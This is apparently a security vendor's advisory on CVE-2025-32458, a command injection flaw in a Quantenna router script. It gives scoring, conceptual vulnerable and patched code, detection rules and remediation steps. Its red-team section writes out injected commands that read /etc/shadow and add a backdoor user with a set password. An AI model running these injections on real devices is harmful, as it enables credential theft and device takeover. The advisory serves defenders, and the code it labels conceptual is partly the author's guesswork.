CVE-2025-32458

Executive Summary

CVE-2025-32458 is a critical command injection vulnerability in the Quantenna Wi-Fi chipset's local control script, router_command.sh. The vulnerability resides in the get_syslog_from_qtn argument, which fails to properly neutralize argument delimiters, allowing an attacker to inject arbitrary commands. This is a classic instance of CWE-88 (Argument Injection). The vulnerability has a CVSS score of 7.7, indicating high impact on confidentiality and integrity, though availability is not affected. The vendor has not released a patch but has provided a best practices guide for implementors. No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a hardware/firmware-level issue in the Quantenna Wi-Fi chipset, affecting embedded systems and routers that integrate this chipset.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
• Attack Vector: Local (AV:L) - The attacker must have local access to the device.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) - Full system read access.
• Integrity Impact: High (I:H) - Full system write access.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: High. The vulnerability allows for complete compromise of the device's file system and configuration, but requires local access.

Deep Dive & Mechanics

The vulnerability is in the router_command.sh script, specifically in the handling of the get_syslog_from_qtn argument. The script likely uses a command like syslog -f or similar to retrieve logs from the Quantenna chipset. The argument is not properly sanitized, allowing an attacker to inject additional commands by inserting shell metacharacters (e.g., ;, |, &, $()).

Root Cause: The script does not validate or escape the input passed to the get_syslog_from_qtn argument before using it in a shell command. This allows an attacker to break out of the intended argument and execute arbitrary commands.

Attack Scenario: An attacker with local access to the device (e.g., via SSH, telnet, or a web shell) can execute:

./router_command.sh get_syslog_from_qtn "valid_arg; malicious_command"

This would execute malicious_command after the intended syslog retrieval.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

#!/bin/sh
# router_command.sh
case "$1" in
    get_syslog_from_qtn)
        syslog -f "$2"  # Vulnerable: $2 is not sanitized
        ;;
    *)
        echo "Unknown command"
        ;;
esac

Patched Code (Conceptual):

#!/bin/sh
# router_command.sh
case "$1" in
    get_syslog_from_qtn)
        # Sanitize input: allow only alphanumeric and specific characters
        sanitized_input=$(echo "$2" | sed 's/[^a-zA-Z0-9._-]//g')
        syslog -f "$sanitized_input"
        ;;
    *)
        echo "Unknown command"
        ;;
esac

Note: The vendor has not released an official patch but recommends implementors follow best practices for input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Obtain a device with Quantenna Wi-Fi chipset (e.g., a router running firmware with SDK <= 8.0.0.28).
2. Gain local access (e.g., via default credentials, SSH, or a web shell).
3. Locate the router_command.sh script (typically in /usr/bin/ or /sbin/).

Exploitation:

# Inject a command to read /etc/shadow
./router_command.sh get_syslog_from_qtn "test; cat /etc/shadow"

# Inject a command to create a backdoor user
./router_command.sh get_syslog_from_qtn "test; useradd -m -s /bin/bash attacker && echo 'attacker:password' | chpasswd"

Expected Output: The injected command's output will be displayed alongside the syslog output.

Blue Team (Defensive)

Detection:

• Monitor for unusual arguments passed to router_command.sh.
• Look for shell metacharacters in syslog or process arguments.
• Use file integrity monitoring (FIM) to detect changes to router_command.sh.

Prevention:

• Apply input validation as shown in the patched code.
• Restrict access to the script to only authorized users.
• Use a chroot jail or container to limit the impact of command injection.

Indicators of Compromise (IOCs)

• File: /usr/bin/router_command.sh or /sbin/router_command.sh
• Process: syslog -f with suspicious arguments containing ;, |, &, $()
• Log Entry: Syslog entries showing unexpected command output or errors.
• Network: Outbound connections from the device to unknown IPs (if attacker exfiltrates data).
• User Accounts: New user accounts created on the device.

Detection Engineering

YARA Rule

rule CVE_2025_32458_Quantenna_Command_Injection {
    meta:
        description = "Detects command injection attempts against Quantenna router_command.sh"
        author = "Valters IT"
        date = "2025-04-17"
        cve = "CVE-2025-32458"
    strings:
        $script = "router_command.sh" nocase
        $arg = "get_syslog_from_qtn" nocase
        $inject1 = /[;&|`$()]/
        $inject2 = /[<>]/
    condition:
        $script and $arg and ($inject1 or $inject2)
}

Sigma Rule

title: CVE-2025-32458 Quantenna Command Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects command injection attempts against Quantenna router_command.sh
author: Valters IT
date: 2025-04-17
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/router_command.sh'
        CommandLine|contains: 'get_syslog_from_qtn'
    filter:
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '$('
            - '`'
    condition: selection and filter
falsepositives:
    - Legitimate use of special characters in syslog arguments (unlikely)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32458 Quantenna Command Injection Attempt"; flow:to_server,established; content:"router_command.sh"; content:"get_syslog_from_qtn"; content:";"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: If possible, disconnect devices with Quantenna chipsets from untrusted networks.
2. Restrict local access: Disable SSH/telnet or use strong authentication.
3. Apply vendor best practices: Implement input validation as per the vendor's guide.

Long-term Fix:

• Patch: Await an official patch from Quantenna. Monitor their security advisories.
• Workaround: Modify router_command.sh to sanitize input (see patched code example).
• Replace hardware: If no patch is forthcoming, consider replacing devices with non-vulnerable chipsets.

Detection: Deploy the YARA, Sigma, and Suricata rules above to monitor for exploitation attempts.

Valters IT
Securing Digital Frontiers